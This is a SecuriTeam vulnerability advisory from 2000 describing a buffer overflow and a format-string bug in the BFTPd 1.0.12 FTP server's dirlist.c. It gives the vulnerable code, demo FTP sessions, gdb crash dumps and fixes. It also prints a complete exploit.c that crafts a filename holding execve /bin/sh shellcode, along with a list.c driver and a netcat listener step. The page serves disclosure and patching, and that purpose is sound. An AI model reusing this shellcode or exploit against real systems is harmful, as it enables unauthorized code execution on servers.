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Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). CanSecWest 2012 2nd Annual Cyber Security Hack In Paris	Potential security problems in BFTPd (Buffer overflow, Format bug, Exploit) 11 Dec. 2000    Summary BFTPd is a Linux FTP server with chroot and setreuid. Not all FTP commands are included. It accesses either the user's home directory or its ftp subdirectory, and user authentication is made via /etc/passwd, /etc/shadow or PAM. The latest version of BFTPd has several potential security problems in the functions "sendstrf" and "dirlist" inside the "distlir.c" file when the generated file by the output of the LIST and NLST commands is above 200 chars or holds strings form type %p%p%p%p.   Credit: The information has been provided by BAILLEUX Christophe. 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First report in 1 hour! www.beyondsecurity.com/vulnerability-scanner Vulnerable systems: BFTPd 1.0.12 Code problem: bftpd-1.0.12/dirlist.c  - In the function "sendstrf"     21 int sendstrf(int s, char *format, ...) {     22 va_list val;     23 char buffer[256];     24 va_start(val, format);     25 vnprintf(buffer, format, val); // Buffer Overflow     26 va_end(val);     27 return send(s, buffer, strlen(buffer), 0);     28 }  - In the function "dirlist"     60 else     61 foo = 1;     62 sendstrf(s, entry->d_name); // Format Bug     63 } Demo / gdb output:  a) Buffer overflow in the LIST command    1 - demo $ pwd /home/cb/longfile $ touch `perl -e 'print "A"x213'` $ ls AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAA AAAAAAAAAAA Connected to localhost. 220 bftpd 1.0.12 at 127.0.0.1 ready. Name (localhost:cb): cb 331 Password please. Password: 230 User logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp> cd longfile 250 OK ftp> ls 200 PORT 127.0.0.1:1858 OK 150 Data connection established. drwxr-xr-x 2 1000 100 4096 Dec 8 02:53 . drwxr-xr-x 55 1000 100 4096 Dec 8 02:48 .. -rw-r--r-- 1 1000 100 0 Dec 8 02:53 AAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA AAAAAAAAA 421 Service not available, remote server has closed connection ftp>     2 - gdb output tshaw:/home/cb# gdb /usr/sbin/bftpd 29751 GNU gdb 5.0 Copyright 2000 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-slackware-linux"... /home/cb/29751: No such file or directory. Attaching to program: /usr/sbin/bftpd, Pid 29751 Reading symbols from /lib/libcrypt.so.1...done. Loaded symbols for /lib/libcrypt.so.1 Reading symbols from /lib/libc.so.6...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 Reading symbols from /lib/libnss_compat.so.2...done. Loaded symbols for /lib/libnss_compat.so.2 Reading symbols from /lib/libnsl.so.1...done. Loaded symbols for /lib/libnsl.so.1 0x400e7514 in read () from /lib/libc.so.6 (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) x $esp 0xbffffadc: 0x41414141 (gdb)  b) Format bug in the NLST command    1 - demo tshaw:~/longfile$ touch "%p%p%p%p%p%p%p%p%p%p" Connected to localhost. 220 bftpd 1.0.12 at 127.0.0.1 ready. Name (localhost:cb): cb 331 Password please. Password: 230 User logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp> cd longfile 250 OK ftp> nlist 200 PORT 127.0.0.1:1865 OK 150 Data connection established. . .. 0xbffffd080x8049e500x804bb41(nil)(nil)0x10000000x804f4d8(nil)(nil)0x49 226 Directory list has been submitted. ftp> $ touch "%s%s%s%s%s%s%s" Connected to localhost. 220 bftpd 1.0.12 at 127.0.0.1 ready. Name (localhost:cb): cb 331 Password please. Password: 230 User logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp> cd longfile 250 OK ftp> ls 200 PORT 127.0.0.1:1869 OK 150 Data connection established. drwxr-xr-x 2 1000 100 4096 Dec 8 03:00 . drwxr-xr-x 55 1000 100 4096 Dec 8 02:48 .. -rw-r--r-- 1 1000 100 0 Dec 8 03:00 %s%s%s%s%s%s%s 226 Directory list has been submitted. ftp> nlist 200 PORT 127.0.0.1:1871 OK 150 Data connection established. . .. 421 Service not available, remote server has closed connection ftp>     2 - gdb output # gdb /usr/sbin/bftpd 29526 GNU gdb 5.0 Copyright 2000 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-slackware-linux"... /home/cb/29526: No such file or directory. Attaching to program: /usr/sbin/bftpd, Pid 29526 Reading symbols from /lib/libcrypt.so.1...done. Loaded symbols for /lib/libcrypt.so.1 Reading symbols from /lib/libc.so.6...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 Reading symbols from /lib/libnss_compat.so.2...done. Loaded symbols for /lib/libnss_compat.so.2 Reading symbols from /lib/libnsl.so.1...done. Loaded symbols for /lib/libnsl.so.1 0x400e7514 in read () from /lib/libc.so.6 (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x4008d196 in vfprintf () from /lib/libc.so.6 (gdb) where #0 0x4008d196 in vfprintf () from /lib/libc.so.6 #1 0x40099f76 in vsnprintf () from /lib/libc.so.6 #2 0x804a417 in sendstrf (s=4, format=0x804f577 "%s%s%s%s%s%s")     at dirlist.c:26 #3 0x804a670 in dirlist (name=0x804b64b ".", s=4, verbose=0 '\000')     at dirlist.c:63 #4 0x8049e55 in do_dirlist (dirname=0xbffffd08 "", verbose=0 '\000')     at commands.c:314 #5 0x8049e95 in command_nlst (dirname=0xbffffd08 "") at commands.c:324 #6 0x804a37c in parsecmd (str=0xbffffd08 "") at commands.c:482 #7 0x804ad2a in main (argc=1, argv=0xbffffe54) at main.c:129 #8 0x400602e7 in __libc_start_main () from /lib/libc.so.6 (gdb) Exploit: It's not possible to exploit it with a standard exploit, since bftpd-1.0.12/login.c contains a piece of code using the "chroot" and setregid functions, and denying the execution of /bin/sh or another programs by a local user.     41 if(chroot(str)) {     42 fprintf(stderr, "421 Unable to change root directory.\r\n");     43 exit(0);     44 } The remote exploit isn't possible. (If we disable the chroot function in login.c, the exploit works, so the possibility is there) With the following exploit, we can request BFTPd (run by the user "cb") to run the /bin/sh command. -- BEGIN exploit.c -- /* Creates a filname to exploit the bug in bftpd 1.0.12 Create the file, cwd in the shell directory and nlist the file directory. Coded by korty <cb@grolier.fr> */ #include <stdlib.h> #include <string.h> #include <stdio.h> #include <fcntl.h> #define LEN 205 int main (int argc, char **argv) {   char buf[LEN + 12];   int ret = 0xbffffa80;   int *p;   int fp;      char code[]=  /*   * Linux/x86   *   * toupper() evasion, standard execve() /bin/sh (used eg. in various   * imapd exploits). Goes through a loop adding 0x20 to the   * (/bin/sh -= 0x20) string (ie. yields /bin/sh after addition).   */   /* main: */   "\xeb\x29" /* jmp callz */   /* start: */   "\x5e" /* popl %esi */   "\x29\xc9" /* subl %ecx, %ecx */   "\x89\xf3" /* movl %esi, %ebx */   "\x89\x5e\x08" /* movl %ebx, 0x08(%esi) */   "\xb1\x07" /* movb $0x07, %cl */   /* loopz: */   "\x80\x03\x20" /* addb $0x20, (%ebx) */   "\x43" /* incl %ebx */   "\xe0\xfa" /* loopne loopz */   "\x29\xc0" /* subl %eax, %eax */   "\x88\x46\x07" /* movb %al, 0x07(%esi) */   "\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */   "\xb0\x0b" /* movb $0x0b, %al */   "\x87\xf3" /* xchgl %esi, %ebx */   "\x8d\x4b\x08" /* leal 0x08(%ebx), %ecx */   "\x8d\x53\x0c" /* leal 0x0c(%ebx), %edx */   "\xcd\x80" /* int $0x80 */   "\x29\xc0" /* subl %eax, %eax */   "\x40" /* incl %eax */   "\xcd\x80" /* int $0x80 */   /* callz: */   "\xe8\xd2\xff\xff\xff" /* call start */   "\x0f\x42\x49\x4e\x0f\x53\x48"; /* /bin/sh -= 0x20 */   if (argc > 1) {     ret += atoi(argv[1]);     fprintf(stderr, "Using ret %#010x\n", ret);   }   memset(buf, '\x90', LEN);   memcpy(buf + LEN - strlen(code), code, strlen(code));   p = (int *) (buf + LEN);   *p++ = ret;   *p++ = ret;   *p = 0;   fp = open(buf, O_CREAT);   if(fp < 0) perror("buf");   close(fp); } -- END exploit.c -- Run netcat on the port 1028 (nc -l -p 1028) and use that program -- BEGIN list.c -- #include <stdio.h> int main() { #define USER "cb" #define PASS "PasSwoRd" #define PORT "port 127,0,0,1,4,4" // Data on the port 1028 with the addr 127.0.0.1 #define CWD "cwd longfile" #define LIST "list" printf("user %s\n", USER); sleep(1); printf("pass %s\n", PASS); sleep(1); printf("%s\n", PORT); sleep(1); printf("%s\n", CWD); sleep(1); printf("%s\n", LIST); } -- END list.c -- Workaround: A) Buffer Overflow In bftpd-1.0.11/dirlist.c Modify the line 25  vsprintf(buffer, format, val); with:  vsnprintf(buffer, sizeof(buffer), format, val); B) Format Bug In bftpd-1.0.11/dirlist.c Modify the line 62                   sendstrf(s, entry->d_name); with:  sendstrf(s, "%s", entry->d_name);  Comments: blog comments powered by Disqus	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles ProFTPD Response Pool Use-After-Free Code Execution Vulnerability Insight Control for Linux Multiple Vulnerabilities HP-UX Running NFS/ONCplus Denial of Service Vulnerability HP-UX Running BIND Denial of Service Vulnerability 2011 HP-UX Running XNTP Denial of Service Vulnerability HP-UX Denial of Service Vulnerability Webkit Detached Body Element Code Execution Vulnerability Mac OS X Compact Font Format Decoder Code Execution Vulnerability WebKit WBR Tag Removal Code Execution Vulnerability Webkit Undefined DOM Prototype Attach Code Execution Vulnerability Apple HFS Information Disclosure Vulnerability XPDF arbitrary Arbitrary Code Execution Vulnerabilities Hewlett-Packard Data Protector Client EXEC_CMD omni_chk_ds.sh Code Execution Vulnerability Red Hat OpenJDK IcedTea6 ClassLoader Code Execution Vulnerability HP-UX Apache Running Tomcat Servlet Engine Remote Modification and Denial of Service Vulnerabilities  Featured Articles ProFTPD Response Pool Use-After-Free Code Execution Vulnerability HP Data Protector Notebook Extension LogClientInstallation SQL Injection Vulnerabilty GE Proficy Historian ihDataArchiver.exe Trusted Header Size Code Execution Vulnerability Novell ZENWorks Software Packaging Antique ActiveX Control Code Execution Vulnerability Adobe Reader U3D IFF RGBA Parsing Code Execution Vulnerability Adobe Reader U3D PCX Parsing Code Execution Vulnerability Cisco Unified Service Monitor brstart add_dm Code Execution Vulnerability
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